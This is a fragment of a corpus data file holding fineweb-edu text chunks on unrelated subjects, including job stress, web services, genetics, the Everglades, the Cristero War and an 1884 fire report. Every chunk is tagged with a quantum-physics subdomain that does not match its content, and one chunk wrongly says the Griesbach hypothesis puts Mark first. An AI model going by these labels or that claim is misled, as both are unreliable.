"similarity_score": 0.45383897841474297, "token_count": 291, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.238885"} {"text": "work organization and job stress are topics of growing concern in the occupational safety and health field and at niosh. the expressions \u201c work organization \u201d or \u201c organization of work \u201d refer to the nature of the work process ( the way jobs are designed and performed ) and to the organizational practices ( e. g., management and production methods and accompanying human resource policies ) that influence the design of jobs. job stress results when there is a poor match between job demands and the capabilities, resources, or needs of workers. stress - related disorders encompass a broad array of conditions, including psychological disorders ( e. g., depression, anxiety, post - traumatic stress disorder ) and other types of emotional strain ( e. g., dissatisfaction, fatigue, tension ), maladaptive behaviors ( e. g., aggression, substance abuse ), and cognitive impairment ( e. g., concentration and memory problems ). in turn, these conditions may lead to poor work performance or even injury. job stress is also associated with various biological reactions that may lead ultimately to compromised health, such as cardiovascular disease. stress is a prevalent and costly problem in today \u2019 s workplace. about one - third of workers report high levels of stress, and high levels of stress are associated with substantial increases in health service utilization. additionally, periods of disability due to job stress tend to be much longer than disability periods for other occupational injuries and illnesses. evidence also suggests that stress is the major cause of turnover in organizations. attention to stress at work has intensified in the wake of sweeping changes in the organization of work. organizational downsizing and restructuring, dependence on temporary and contractor - supplied labor, and adoption of lean production practices are examples of recent trends that may adversely influence aspects of job design ( e. g., work schedules, work load demands, job security ) that are associated with the risk of job stress. there is also growing appreciation that work organization can have broader implications for the safety and health of workers \u2014 not just for stress - related outcomes. for example, long hours of work may increase exposures to chemical and physical hazards in the workplace, or night shifts may expose workers to heightened risk of violence. the good news is that there are steps organizations can take to reduce job stress. as a general rule, actions to reduce job stress should give top priority to organizational change to improve working conditions. but even the most conscientious efforts to improve working conditions are unlikely to eliminate stress completely for all workers. for this reason, a combination of organizational change and stress management is often", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4924290362076201, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.242789"} {"text": "stress should give top priority to organizational change to improve working conditions. but even the most conscientious efforts to improve working conditions are unlikely to eliminate stress completely for all workers. for this reason, a combination of organizational change and stress management is often the most useful approach for preventing stress at work. the best design for a stress prevention program will be influenced by several factors \u2014 the size and complexity of the organization, available resources, and especially the unique types of stress problems faced by the organization. details on preventing stress at work can be found on the niosh stress at work topic page \u2014 specifically in the stress at work booklet and in the working with stress video. the content of the video is also available on youtube : - working with stress, part 1 external link : http : / / www. youtube. com / watch? feature = player _ profilepage & v = q0yyxwalgaw - working with stress, part 2 external link : http : / / www. youtube. com / watch? feature = player _ profilepage & v = vvdc3vuefwk researchers in the field of work organization and health continue to tackle workplace stress issues. in march 2008, niosh will cosponsor the seventh international conference on occupational stress and health ( external link : http : / / www. apa. org / pi / work / wsh. html ). the conference will feature more than 500 new studies from all points of the globe, on the causes and effects of job stress including information and tools needed to create more healthy and stress - free workplaces. in good health, steven sauter, ph. d. dr. sauter is a senior scientist in the niosh division of applied research and technology and serves as coordinator of the niosh research program on work organization and stress - related disorders. in 2007, he was awarded the niosh james p. keogh award for his significant contributions in the areas of organization of work and musculoskeletal disorders.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.471975532078484, "token_count": 406, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.244511"} {"text": "in some views soa is represented as a series of 4 layers : presentation layer ( soa 1 ), business process layer ( soa 2 ), business service layer ( soa 3 ) and technical layer ( soa 4 ). typically each layer higher up in the hierarchy consumes services exposed by the layer under it. so the presentation layer would consume services provided by the business process or business service layers. service interfaces are described using web services description language ( wsdl ), sheltering service consumers from details of service implementation. web services are seen as the technical means to implement the decoupled functional layers in a soa development. decoupling allows implementations of business functionality at different layers to be swapped in and out without disturbing other layers in the stack. the business idea is that patients are looked after in various healthcare facilities. frequently applications need to allow selection of a facility and to access facility details for display to human operators. a relational database is used to hold the details of facilities which are a part of the healthcare enterprise. to shelter application developers from the details of the data store facility list and details are made available as a multi - operation web service. this web service will be used to construct the web application that provides a user view into the facilities and facility details. the previous document in this series, \u201c glassfish esb v 2. 1 creating a healthcare facility web service provider \u201d, walked the reader through the process of implementing a glassfish esb v2. 1 - based, multi - operation web service which returns facility list and facility details. in this document i will walk through the process of developing a visual web application which will use the web service as a data provider. we will use the netbeans 6. 5. 1 ide, which comes as part of the glassfish esb v2. 1 installation. the application will be implemented as a visual web javaserver faces application using jsf component provided by project woodstock. this application will introduce the technology in a practical manner and show how a multi - operation web service can be used as a data provider, decoupling the web application from the data stores and specifics of data provision. note that this document is not a tutorial on javaserver faces, visual web jsf, project woodstock components or web application development. note also that all the components and technologies used are either distributed as part of the netbeans 6. 5, as part of the galssfish esb v2. 1 or are readily pluggable into the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5343233072014044, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.250866"} {"text": "sequencing the dna in a scoop of dirt can tell scientists what creatures are living nearby, a new study using soil from safari parks shows, and the amount of dna present can even tell how many individuals of each species there are, which could allow field biologists to get preliminary surveys of species. but though the team managed to identify nearly all the species they had expected in the parks, from wildebeest to elephants, they are still addressing how to take samples that accurately represent the area \u2019 s biodiversity \u2014 one would have to avoid elephant latrines or wildebeest sleeping areas, for instance \u2014 and there is the additional problem that rare or small creatures, like insects, might easily be missed. that said, it \u2019 s still an unusual and interesting way to take a look at an area \u2019 s inhabitants without actually tracking them down. read more at scientific american. image courtesy of malcyzk / flickr rnas from rice can survive digestion and make their way into mammalian tissues, where they change the expression of genes. what \u2019 s the news : it \u2019 s no secret that having lunch messes with your biochemistry. once that sandwich hits your stomach, genes related to digestion have been activated and are causing the production of the many molecules that help break food down. but a new study suggests that the connection between your food \u2019 s biochemistry and your own may be more intimate than we thought. tiny rnas usually found in plants have been discovered circulating in blood, and animal studies indicate that they are directly manipulating the expression of genes. children of older mothers, scientists have long known, are at higher risk for certain genetic disorders such as down syndrome. but the father \u2019 s age is matters, too. as a father \u2019 s age increases, research shows, so does his child \u2019 s risk of mental illness, schizophrenia and autism in particular. in scientific american, nicole grey explores the link between a father \u2019 s age and his child \u2019 s health, as well as the tricky questions about what mechanisms are behind the that link : genes, epigenetic changes, environment, or some combination of the three. what \u2019 s the news : whether genes can be property is an ongoing controversy in the world of biotechnology, and last week saw the latest court battle in that war : upon appeal, a suit brought by the aclu charging that genes aren \u2019 t products of human ingenuity and thus cannot be patented was settled largely in favor of myriad genetics, the biotech company that has patents on two brca genes. the genes are linked to", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5073904968695532, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.256302"} {"text": "suit brought by the aclu charging that genes aren \u2019 t products of human ingenuity and thus cannot be patented was settled largely in favor of myriad genetics, the biotech company that has patents on two brca genes. the genes are linked to hereditary breast and ovarian cancer, and plaintiffs charged that myriad \u2019 s exclusive test for the genes kept patients from getting second opinions. a detailed description of the court \u2019 s reasoning can be found over at ars technica. but for those of you who are thinking, what? someone else can own my genes?, chew on this : about 20 % of human genes are patented or have patents associated with them, according to a comprehensive analysis. here \u2019 s why. what \u2019 s the news : what if the egg is fine and the sperm is dandy, but you still can \u2019 t seem to have a baby? couples who are having trouble conceiving can testify to the frustration of learning that there \u2019 s no clear reason for their infertility. now, however, scientists have found a genetic mutation that makes outwardly normal sperm much less fertile, potentially explaining many such cases and suggesting new routes to conception. what \u2019 s the news : by knocking out a single gene, scientists at the university of pennsylvania have significantly increased the physical endurance of lab mice, as explained in their recent paper in the journal of clinical investigation. the researchers also found that certain variants of the same gene may be linked to greater endurance in humans. what \u2019 s the news : scientists have been rooting around in the rice genome for years, and the same goes for wheat. but now the long - recalcitrant potato genome has finally been sequenced. time for a celebration? perhaps, but biologists can \u2019 t rest for long : in addition to the just - published genome, there are still three more to sequence in each commercial potato. what \u2019 s the news : when personal genotyping service 23andme was founded in 2006, most people were understandably focused on the benefits and the dangers of knowing your chances of getting an incurable disease. but a major part of the company \u2019 s business plan was eventually leveraging their users \u2019 information to explore the genetic basis of disease. with more than 100, 000 people now in their database, 23andme has been turning that into a reality. they \u2019 ve just published their first paper focusing on the origins of disease, pinpointing two new areas of the genome involved in parkinson \u2019 s. what \u2019 s the news : while you may be", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5015048946827826, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.257344"} {"text": "innovation was the buzz word during the 2011 usda science and technology plant variety protection office ( pvpo ) board meeting. the pvpo, part of the agricultural marketing service \u2019 s ( ams ) science and technology program, gives legal intellectual property rights, similar to patents, to breeders of new varieties of plants which are produced by seeds such as corn and soybean or by tubers such as potatoes. the program protects intellectual property rights by offering certificates to owners of unique plant varieties so that they can introduce them to the marketplace. the board, made up of a diverse group of experts in the plant variety development field, met to discuss pressing industry matters and address how the pvpo conducts its business. \u201c our goal with this group is to make sure that pvpo effectively meets industry demands and becomes an internationally recognized program, \u201d said ams associate administrator dave shipman. \u201c with a world population estimated to reach 9 billion people in 2050, pvpo will play an important role in helping produce enough food to feed the world. \u201d plant variety protection helps spur innovation by rewarding companies that produce unique plant varieties. this is beneficial to the population because these new varieties improve upon existing crops such as introducing disease resistant types. \u201c intellectual property rights encourage innovation, \u201d said shipman. the pvpo continues to address industry needs by evaluating its business practices. the program is currently in the final phase of a business process review that analyzed its current operating procedures and suggested a new continuous workflow. \u201c we are trying to modernize our processes so that we can effectively identify unique plant varieties, \u201d said dr. robert epstein, deputy administrator of the science and technology program. expected gains from this review include simplifying the plant variety application process for businesses and reducing the program \u2019 s processing time for reviewing these applications. \u201c intellectual property protection is vital to economic growth and we want to make it easy for these companies to protect their plant varieties, \u201d said epstein. \u201c not only will these new varieties help produce food that consumers can eat, they will also feed cattle and other large animals, an invaluable service to all. \u201d", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49195993093656665, "token_count": 426, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.259733"} {"text": "a recent poverty matters blog post in the guardian noted that mobile technologies and social media are creating cheap ways for citizens to interact with their governments and that development projects are trying to tap into these technologies. it gave a plug to the bank \u2019 s new open finances mobile app that lets users find and monitor bank - funded projects near where they live, using mapping and gps technology. with the advent of the new year and given the on - going work in the bank on the open agenda, here are three things we may accomplish in 2013 : tap into big data \u2013 if successful, we hope this would allow us to : - measure poverty in \u201c real time \u201d using alternative techniques made possible by the widespread availability of high - frequency data. - create a \u201c prediction model \u201d to determine whether funds are likely to be used for the purposes intended \u2013 thus helping make better decisions before the money leaves the bank. - develop and apply advanced computing solutions to address major humanitarian challenges ( like natural disasters ). see related blog post by patrick meier. create vibrant citizen feedback loops - we know citizen feedback empowers, and new technologies allow us to do this cheaply, and wouldn \u2019 t it be great if they could : - reinforce social infrastructure and social cohesion, which makes it more likely that we \u2019 ll survive a catastrophe, as pointed out recently on npr, or in fragile situations, as mentioned in a new study by the bank, societal dynamics and fragility. share knowledge more effectively \u2013 at the 2012 annual meetings, dr. kim said that he wants the world bank to become a solutions bank. this would mean that we would need to : - communicate knowledge in a way that is practical, that inspires, and that helps our members build shared prosperity. - identify great ideas that are scalable and accelerate the spread of solutions to end poverty. image courtesy of simon howden / freedigitalphotos. net", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4843543639216713, "token_count": 384, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.262762"} {"text": "in addition to carbon dioxide, mercury, and marine debris, which are types of pollution, other man made pollutants constantly enter the oceans from a range of sources. these include oil, fertilizers, toxic chemicals, and sewage. oil & chemicals oil spills may be the most infamous pollutant because popular media often vividly shows dramatic damage. the agonizing images of seabirds such as pelicans covered in crude oil are hard to forget. meanwhile, the extensive damage to marine environments from oil spills often lasts for decades. blue ocean institute founding president carl safina chronicles the 2010 british petroleum oil blowout in the gulf of mexico in his book, a sea in flames, and in various interviews and other writings. check out a selection of links to this content below. pesticides, solvents, paints, and industrial chemicals also frequently reach the ocean. many of these hazardous materials harm sea life and some return to land through contaminated seafood that people eat, which can cause health problems. dead zones are the result of runoff into the sea from land - based activities, and they can harm crabs, shellfish, and other sea life \u2026 read more 3 things you can do right now to prevent ocean pollution : 1. make the shift to clean, renewable energy when and wherever possible. 2. remember all drains eventually lead to the oceans. be very careful what you pour down any drain. 3. stay informed, know the issues. other great ways you can make a difference. selected carl safina deepwater horizon links carl safina on the gulf of mexico disaster and other oil spills : blowout, blog post, carl safina oil catastrophe wasn \u2019 t just an accident, blog post, carl safina toxic brew, blog post, carl safina deepwater horizon, one year later : a conversation with carl safina, atlantic monthly gulf blowout aftermath : two years and worsening, blog post, carl safina oil and herring don \u2019 t mix, blog post, carl safina links & videos gulf awash with 27, 000 abandoned oil and gas wells \u2013 huff post a sea in flames : the deepwater horizon blowout \u2013 by carl safina mission blue wake up call \u2013 carl \u2019 s blog water pollution \u2013 thank you ocean 10 ways oil spills affect marine life \u2013 oceana effects of oil on wildlife \u2013 australian government cosco busan spill \u2013 california department of fish and game urban runoff \u2013 wikipedia exxon valdez spill \u2013 new york times resources on", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43379104459092394, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.265652"} {"text": "live there, though the cats are rarely seen. the everglades is also a refuge for large, beautiful birds including the wood stork, great blue heron, anhinga, roseate spoonbill and many species of egrets. but the everglades is famous for its no. 1 predator : alligators. it \u2019 s not unusual to hike through the park and encounter one \u2014 or several. unless provoked, alligators generally won \u2019 t harm humans. a unique experience the beauty of camp everglades isn \u2019 t just the unique wildlife. it \u2019 s the whole experience. for example, the everglades is flat and mostly swampland. finding dry wood for a fire can be difficult. \u201c you find all the dry stuff you can, and as your fire gets hotter and hotter, you put the wet stuff on and hope it dries out, \u201d clay says. and then there are the snakes. while snake encounters aren \u2019 t common, they do happen. a few years ago, eagle scout j. p. grillo, then 18, wandered into a latrine area of the camp. suddenly, he heard a rattle. his heart pounding, j. p. looked down and realized he was urinating on a sixfoot - long diamondback rattlesnake that was coiled and ready to strike. when he jumped back, the snake struck at the scout, barely missing him. scouts are warned to make a lot of noise if they walk around in the woods. that should scare off the rattlesnakes. and, hopefully, the burmese pythons. unwelcome visitors pythons are not native to the everglades, but for years, pet owners have been illegally releasing them when they get too large for their homes. the pythons are now breeding, and park environmentalists have found eggs and babies. no human has been attacked by a python, but a few weeks before the december camping trip, park rangers discovered the mutilated body of a 13 - foot python that exploded after eating a six - foot alligator. scientists aren \u2019 t sure what happened \u2014 only that it didn \u2019 t end well for either predator. just as the everglades brings challenges to campers, it also brings great enjoyment. one of the scouts \u2019 favorite activities is hiking the trails through the park, especially the anhinga trail. on the anhinga, visitors follow a winding boardwalk that crosses over a sawgrass marsh for a clear view of alligators, turtles, herons, egre", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3540129918946844, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.274248"} {"text": "favorite activities is hiking the trails through the park, especially the anhinga trail. on the anhinga, visitors follow a winding boardwalk that crosses over a sawgrass marsh for a clear view of alligators, turtles, herons, egrets and other large wading birds and the diving bird for which the trail is named. some troops have hiked through the marsh \u2014 which at times can be nearly waist - high \u2014 to get to hardwood hammocks, which are islands of trees where birds nest and animals such as bobcats and raccoons forage for food. \u201c last year, we were hiking through the marsh and saw white - tailed deer that were walking in it, too, \u201d clay said. you see? there \u2019 s plenty of room in the everglades for scouts to share with the animals. just watch where you pee. what is the everglades? florida \u2019 s everglades often is pictured as just a sawgrass marsh, but it also contains thick forests, open prairies, offshore coral reefs, rivers, lakes and ponds. many species of plants and animals live there, including dozens that are threatened or endangered. in the early 1900 \u2019 s, as florida \u2019 s population was expanding, legislators considered the everglades a useless swamp and authorized digging canals that drained water from lake okeechobee \u2014 a major source of fresh water \u2014 to use in farming and development. the effects were devastating. nearly half of the animals \u2019 habitat disappeared, as did many of the plants and animals themselves. panthers and black bears today are all but gone. the number of wading birds has declined more than 90 percent, and in recent years, alligators have experienced reduced reproduction ; some years the endangered wood stork hasn \u2019 t reproduced at all. fish in some parts of everglades national park are unsafe to eat because of mercury contamination. in 2000, the government began one of the largest restoration projects in the world when it launched a 36 - year, $ 8 billion project to reverse the damage done to the everglades and to bolster wildlife populations. to learn more about the everglades, go to www. nps. gov / ever.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.36656514349137664, "token_count": 444, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.275941"} {"text": "information is a strategic resource with an importance similar to land, labour and capital. collecting information is time consuming and expensive, but sharing this information saves time, manpower and money. ready access to information is one of the most important factors for policy formulation and lawmaking on the national as well as international level and developing countries in particular profit from this service. since 1963 the iucn commission on environmental law ( formerly known as commission on legislation and commission on environmental policy, law and administration ) and over the past forty years the environmental law centre, have continuously collected and catalogued legal provisions relating to environmental conservation in individual countries. a growing number of significant international instruments have been developed and added to the pool, as well as literature pertaining to environmental policy, law and administration. today the elc libraries collection hosts one of the world ' s largest and most comprehensive collections of environmental law and literature, which covers the entire spectrum of issues related to environmental conservation : from soil pollution to genetic resources, from water quality to waste management. iucn, through the environmental law centre, has pioneered the computerisation of its huge information resources since the late 60s. the development of electronic data processing finally resulted in the establishment of elis, the environmental law information system, in 1980. elis is a multi - lingual, structured, relational data bank, using software especially designed for legal data. elis, which has been constantly improved and added to, is still a valuable retrieval system, which offers an enormous amount of search and sort facilities. the number and variety of requests for data and assistance to develop environmental law that the elc received from governments, academia, the private sector, including ngos during the last years demonstrated the growing need to access environmental law information. this led to the development of an internet - based environmental law information system, called ecolex, a joint capacity building project of iucn, unep and fao. in addition the environmental law programme publishes a series of environmental policy and law papers, which comprise the work done for various projects. apart from in - house projects, the papers also reflect cooperations with a number of other iucn programmes and organisations, demonstrating that our valuable information is shared. the library is open on request. please contact the iucn environmental law centre secretariat : phone : + + 49 - 228 - 2692 - 231 fax : + + 49 - 228 - 2692 - 250", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5077990585664998, "token_count": 475, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.280034"} {"text": "immune response linked to colon cancer survival french researchers have found an association between how well the body responds to colon tumors and survival among more than 400 patients with the disease. they suggest that analyzing tumors for the presence of certain immune cells could yield valuable prognostic information for patients. the results support the theory that the immune system may influence the behavior of tumors. in recent years, studies of ovarian cancer and follicular lymphoma have suggested that the presence or absence of certain immune cells in tumors can be used to predict the survival of patients with these diseases. the new study expands this research to colorectal cancer. like the others, it focuses on the presence of t cells in tumors ; these immune cells react to specific threats to the body. \" our data reveal that the immune reaction at the tumor site determines the cancer ' s evolution and clinical outcome regardless of the local extent and spread of the tumor, \" says co - lead investigator dr. jerome galon of the french national institute of health and medical research, or inserm. the study included 415 colorectal tumors from patients with known medical histories. the researchers developed information on the type, density, and location of t cells at the tumor sites and compared the predictive value of these data with information on a tumor ' s size and the extent to which it had spread to other tissues. the density of t cells within a tumor was, in this population, a better predictor of patient survival than the tumor size and spread, which are typically used to develop prognoses, the researchers report in the september 29 science. once the colorectal tumors become clinically detectable, the adaptive immune response may play a role in preventing tumor recurrence, the researchers say. \" this suggests that the time to recurrence and overall survival time are governed in large part by the state of the local adaptive immune response, \" they write in science. in their analysis, a strong immune response was associated with a favorable prognosis regardless of the cancer size and spread ; conversely, a weak immune response was associated with a very poor prognosis, even in patients whose tumors had not invaded other tissues. \" the recurrence of cancer may have little to do with the tumor itself - or at least not with tumor size and spread, \" notes dr. galon. \" rather, poor prognosis could arise from a weak immune reaction to cancer. \" patients whose tumors had high densities of certain t cells had a 5 - year survival rate of 73 percent", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4846212113675447, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.283048"} {"text": "mexico is a nation with a very strong catholic identity, yet for over 70 years during the 20th century the catholic church was actually outlawed : not allowed to own property, run schools, convents or monasteries, have more than a certain number of priests ( and no foreign priests ), nor defend itself publicly or in the courts. it was hardly allowed to exist. according to historian jim tuck, \u201c this was not separation of church and state : it was complete subordination of church to state \u201d. following 1940, enforcement of these restrictions gradually lessened, but it was not until 1992 that the church was restored as a legal entity in mexico. during the period of the strictest enforcement of these draconian laws beginning with the rule of president calles in the late 1920s, mexicans were often imprisoned for wearing religious items, saying \u201c adios \u201d in public ( which literally means \u201c with god \u201d ), or even questioning the laws. public worship was a crime punishable by hanging or firing squad. ( in fact, this week \u2013 may 21 \u2013 was the feast day of 25 mexican saints and martyrs who remained true to their faith during these turbulent years and were canonized by pope john paul ii in 2000. another 13 martyrs were canonized by pope benedict xvi in 2005, including young jose luis sanchez del rio. perhaps the most well - known modern mexican martyr, however, is blessed fr. miguel pro, beatified by pope john paul ii in 1988. ) for a nation that was 95 % catholic, this was a crisis of unimaginable proportions. yet modern mexico \u2013 and the world \u2013 has largely forgotten the suffering that took place in the years 1926 - 1929. known as the cristero war or cristero rebellion ( la cristiada in spanish ), this period was, according to historian donald mabry, \u201c a virulent anticlericalism [ attack on the church ] that has seldom been surpassed in any other country \u201d. with such a severe restriction of their liberties, the mexican people were forced to react. after a decree that required the registration of priests and the confiscation of church property, the catholic bishops of mexico made the decision to close the churches and go underground. it was during this time that armed rebellion first broke out against the government. \u201c mexico rose in arms to shouts of \u2018 viva cristo rey! \u2019 \u201d writes historian jurgen buchenau. \u201c thus began the cristero rebellion, which eventually grew to 50, 000 soldiers, or a force almost as large as", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3863228768054049, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.288728"} {"text": "smaller villages never recovered and remain ghost towns today. with access to mexico \u2019 s new railway infrastructure, mexican citizens left their war - torn country in droves. they not only settled in the previously traditional migrant areas of southern california, texas and the rest of the southwest, but also began to make their way to other parts of the u. s. that had previously had few mexican immigrants : the midwest, for example. if you have catholic ancestors who lived in or emigrated from mexico during the cristero period and would like to learn more, it is difficult to find much information on the internet. however, these links may help to give you a basic understanding of this largely unknown period in mexican history, help you learn more about its impact on your family, and get you started tracing your mexican family tree. about the cristero war \u2013 online reading - viva cristo rey! the cristeros versus the mexican revolution by christopher check provides a good overview of the cristero rebellion - video interviews with cristero and mexican soldiers about their experiences during the cristero war - pope \u2019 s mexico trip a chance to explore church - state conflict, a march 2012 usa today article about the recent papal visit to mexico and its role in refocusing discussion on the cristero war - iniquis afflictisque, encyclical of pope pius xi on the persecution of the church in mexico, november 1926 - a five - part series of articles giving an overview of mexican history by chris stewart beginning with part i : the long conflict of church and state about the cristero war \u2013 books - the cristero rebellion : the mexican people between church and state 1926 - 1929 ( cambridge latin american studies ) by jean meyer \u2013 this historian \u2019 s in depth research into the cristero period spanned seven years as he traveled throughout mexico unearthing previously unknown records at archives and catholic churches. - la cristiada : the mexican government \u2019 s persecution of the church ( an illustrated history of the mexican cristero war from 1926 - 1929 ) also by jean meyer - mexican martyrdom by rev. wildrid parsons \u2013 written in 1935, this book provides a vivid picture of the trials of mexican catholics during the 1920s. - blessed miguel pro : 20th century mexican martyr by ann ball \u2013 the inspiring story of the famous mexican priest, martyred in 1927. about the movie, \u201c for greater glory \u201d - for greater glory - official website for the movie - freedom is our lives - a knights of columbus article about the movie -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3787943770107962, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.290726"} {"text": "shocking disaster at cambridge [ newspaper article ] this particular news report is drawn from a collection gathered by a waikato university undergraduate student, pauline hunt, when investigating the hazards of life for colonial children during the 1880s. her unpublished study concentrated on two regional newspapers, the new zealand herald, published in auckland ; and the waikato times, printed in hamilton. the types of accidents, fatal and non - fatal, reported during this decade included : drownings ; injuries involving horses ; burns from fire and scalding water ; poisonings, frequently from youngsters chewing the phosphorus head on matches ; falls from trees, over cliffs, into disused mine shafts, and off a house balcony ; gunshot accidents ; attacks by animals ; and work - related injuries or death involving machinery or moving vehicles, such as tramcars or horse - drawn drays. water, horses, and fire were the three most common causes of accidental injury or death for those under 15 years of age. ( disease, infanticide, neglect, cruelty, or assault were not included in the research project. ) only a very few reports made reference to maori children ; the majority dealt with pakeha whose communities were, by the 1880s, becoming dominant in the region. daily or weekly papers were the principal means of disseminating local, national, and international news. the columns devoted to accidents gave a wealth of medical detail, including explicit descriptions of the injuries, and sometimes concluded with an expression of sympathy for the family. warnings or words of advice were frequently printed as well. both language and content reflect contemporary attitudes concerning the need to keep children safe. communities as well as parents needed to protect the \" social capital \" that their youngsters represented. waikato times, \" shocking disaster at cambridge : three children burned to death. \" november 8, 1884, p. 2, col. 5. annotated by jeanine graham. primary source text shocking disaster at cambridge three children burned to death one of the saddest fatalities that have ever shocked the senses of the people of this district occurred at cambridge on thursday afternoon, resulting in the burning to death of three young children, hedley james osborne, aged four years, julietta alice osborne, aged two years, and mary agnes osborne, aged five months.... mrs osborne, having some shopping to do in the town, put her infant child to bed, and locked it up by itself in the bedroom, so that it should not be disturbed by the other two children. seeing that everything was safe, there being no fire in the house", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4306677495312925, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.296319"} {"text": "shopping to do in the town, put her infant child to bed, and locked it up by itself in the bedroom, so that it should not be disturbed by the other two children. seeing that everything was safe, there being no fire in the house since breakfast time, she shut up the boy and the girl in the kitchen, and proceeded to town on her business. when leaving her home in this way, it was a usual thing for mrs osborne to shut up her children, believing that did she not do so they would find their way to the river, only a few chains distant, or to a deep well adjoining.... \" i was in the habit of leaving my children at home by themselves about once a week. i was generally away from about one to two hours. i very often took the baby with me.... there was neither fire nor ashes in the stove when i left home at twenty minutes to one. i forgot to put the matches away. the matches were on the ledge over the mantelpiece, and the boy must have got the broom and knocked them down. i have seen the boy get the matches frequently and try to light his father ' s pipe... i was generally careful in keeping the matches out of his way. there was some paper underneath the sofa, and under the cushion of the chair there was a weekly news. the children were in the habit of reading the paper and playing with it. the inside of the house was papered... i usually keep the matches in the bedroom, and the children saw me put them above the fireplace before i left. \" the coroner then summed up. he referred to the boy ' s habit of using matches as described by the mother, and he had no doubt but that the fire originated by the boy getting hold of the matches on this occasion, and in some way setting fire to their clothes or some paper that may have been lying about.... he thought that the children might have been left with some neighbour. a juryman informed the coroner that there were no neighbours in the vicinity, and the unfortunate people were not in a position to employ a girl to look after the house in their absence. a verdict of accidental death by burning was returned. how to cite this source \" shocking disaster at cambridge [ newspaper article ], \" in children and youth in history, item # 73, http : / / chnm. gmu. edu / cyh / primary - sources / 73 ( accessed june 20, 2013 ).", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4615986115295708, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.298341"} {"text": "jesus would have spoken aramaic which is descended from hebrew, but is not the same language. this is evidenced by the fact that in the few places where jesus words are left untranslated, he is speaking in aramaic \u2014 abba, father. and talitha cum ( daughter arise ) also, whether or not matthew is the first gospel is a matter of some debate. the greisbach hypothesis, for example, suggests that mark is the first gospel, from which matthew and luke drew in order to flesh out their accounts. if mark is the first gospel, then its main witness, peter, would probably have spoken to mark in aramaic. many manuscripts of the time would be dictated to an emaneusis \u2014 a scribe who would listen and then write. since aramaic was such a limited language, it is not altogether unlikely that the emaneusis would have listened to what was said by the author, but written it down in greek. greek was the lingua franca of the old world, even if not the language that people spoke. it would be akin to english today. an analogy might be as if you were an obscure swedish band in the 70s, but then you had an idea for a song you wanted to get out to the whole world. your thinking process would be in swedish, a few drafts might even be in swedish, but the translation would be so early that everybody would have thought of it in english. so too with koine greek. the area may have spoken aramaic, but the world spoke greek. as such, you ' d use greek.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43237120611332897, "token_count": 317, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.300228"} {"text": "teaching tip : what ' s in a syllabus? your course syllabus is an important document because it explains policies, expectations, and assignments to your students. some people like to use the term syllabus to refer specifically to the master syllabus for a course \u2014 a document created by the department \u2014 and prefer to use the term course outline for the document you prepare for your students. whatever you call it, we ' ve provided some suggestions for what kinds of content should go into your syllabus or course outline. be certain to check with your department, though, since there may be specific guidelines you are expected to follow. this typically comes from the master syllabus or course catalog 